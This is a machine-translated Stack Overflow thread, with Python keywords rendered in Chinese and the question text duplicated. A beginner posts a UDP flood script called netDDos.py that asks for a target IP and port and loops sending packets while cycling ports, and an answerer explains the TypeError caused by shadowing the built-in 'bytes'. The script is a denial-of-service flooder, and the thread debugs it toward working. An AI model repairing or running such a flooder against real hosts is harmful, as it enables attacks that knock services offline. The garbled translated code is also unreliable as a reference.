Python 类型错误:';字节';对象在使用sock.sendto()时不可调用 导入系统 导入操作系统 导入套接字 随机输入 导入时间 导入IP地址 sock=socket.socket(socket.AF_INET,socket.sock_DGRAM) 字节数=随机数(1490) 打印(“\033[1;31;40m正在执行netDDos.py”) 操作系统(“清除”) 打印(“\033[1;31;40m▄ ▄███▄ ▄▄▄▄▀ ██▄ ██▄ ████▄ ▄▄▄▄▄ ") 打印(“\033[1;31;40m█ █▀ ▀ ▀▀▀ █ █ █ █ █ █ █ █ ▀▄ ") 打印(“\033[1;31;40m██ █ ██▄▄ █ █ █ █ █ █ █ ▄ ▀▀▀▀▄ ") 打印(“\033[1;31;40m█ █ █ █▄ ▄▀ █ █ █ █ █ ▀████ ▀▄▄▄▄▀ ") 打印(“\033[1;31;40m█ █ █ ▀███▀ ▀ ███▀ ███▀ ") 打印(“\033[1;31;40m█ ██ ") 印刷品(“由Hydra | lua撰写”) 打印(“”) ip=输入(“ip目标:”) 端口=int(输入(“端口:”) 操作系统(“清除”) 操作系统(“figlet攻击开始”) 打印(“[]0%”) 时间。睡眠(1) 打印(“[=]25%”) 时间。睡眠(1) 打印(“[================]50%”) 时间。睡眠(1) 打印(“[======================]75%”) 时间。睡眠(1) 打印(“[============================]100%”) 时间。睡眠(1) 已发送=0 尽管如此: 发送到(字节(int(ipaddress.IPv4Address(ip)),端口)) 已发送=已发送+1 端口=端口+1 打印(“通过端口%s将%s数据包发送到%s”%(已发送,ip,端口)) 如果端口==65534: 端口=1

Python 类型错误:';字节';对象在使用sock.sendto()时不可调用 导入系统 导入操作系统 导入套接字 随机输入 导入时间 导入IP地址 sock=socket.socket(socket.AF_INET,socket.sock_DGRAM) 字节数=随机数(1490) 打印(“\033[1;31;40m正在执行netDDos.py”) 操作系统(“清除”) 打印(“\033[1;31;40m▄ ▄███▄ ▄▄▄▄▀ ██▄ ██▄ ████▄ ▄▄▄▄▄ ") 打印(“\033[1;31;40m█ █▀ ▀ ▀▀▀ █ █ █ █ █ █ █ █ ▀▄ ") 打印(“\033[1;31;40m██ █ ██▄▄ █ █ █ █ █ █ █ ▄ ▀▀▀▀▄ ") 打印(“\033[1;31;40m█ █ █ █▄ ▄▀ █ █ █ █ █ ▀████ ▀▄▄▄▄▀ ") 打印(“\033[1;31;40m█ █ █ ▀███▀ ▀ ███▀ ███▀ ") 打印(“\033[1;31;40m█ ██ ") 印刷品(“由Hydra | lua撰写”) 打印(“”) ip=输入(“ip目标:”) 端口=int(输入(“端口:”) 操作系统(“清除”) 操作系统(“figlet攻击开始”) 打印(“[]0%”) 时间。睡眠(1) 打印(“[=]25%”) 时间。睡眠(1) 打印(“[================]50%”) 时间。睡眠(1) 打印(“[======================]75%”) 时间。睡眠(1) 打印(“[============================]100%”) 时间。睡眠(1) 已发送=0 尽管如此: 发送到(字节(int(ipaddress.IPv4Address(ip)),端口)) 已发送=已发送+1 端口=端口+1 打印(“通过端口%s将%s数据包发送到%s”%(已发送,ip,端口)) 如果端口==65534: 端口=1,python,python-3.x,sockets,byte,ddos,Python,Python 3.x,Sockets,Byte,Ddos,错误消息是: sock.sendto(bytes(int(ipaddress.IPv4Address(ip)), port) TypeError: 'bytes' object is not callable sock.sendto(字节(int(ipaddress.IPv4Address(ip)),端口) TypeError:“字节”对象不可调用 我对Python非常陌生,这是我第一次问一个关于StackOverflow的问题。它的目的只是试验我的本地网络。通过给自己的变量起这个名字,您已经覆

错误消息是:

sock.sendto(bytes(int(ipaddress.IPv4Address(ip)), port) TypeError: 'bytes' object is not callable sock.sendto(字节(int(ipaddress.IPv4Address(ip)),端口) TypeError:“字节”对象不可调用
我对Python非常陌生,这是我第一次问一个关于StackOverflow的问题。它的目的只是试验我的本地网络。

通过给自己的变量起这个名字,您已经覆盖了内置类型
bytes
。请叫它别的名字


(实际上,我不知道你为什么要定义这个变量,因为你没有使用它。你应该删除它。)

谢谢你的回复!我删除了它并将它改为:sock.sendto(bytes(ipaddress.IPv4Address(ip),port)),我将port=int(input(“Enter port:”)改为port=input(“Enter port:”)遗憾的是,出现了一个新错误。键入错误:编码时没有字符串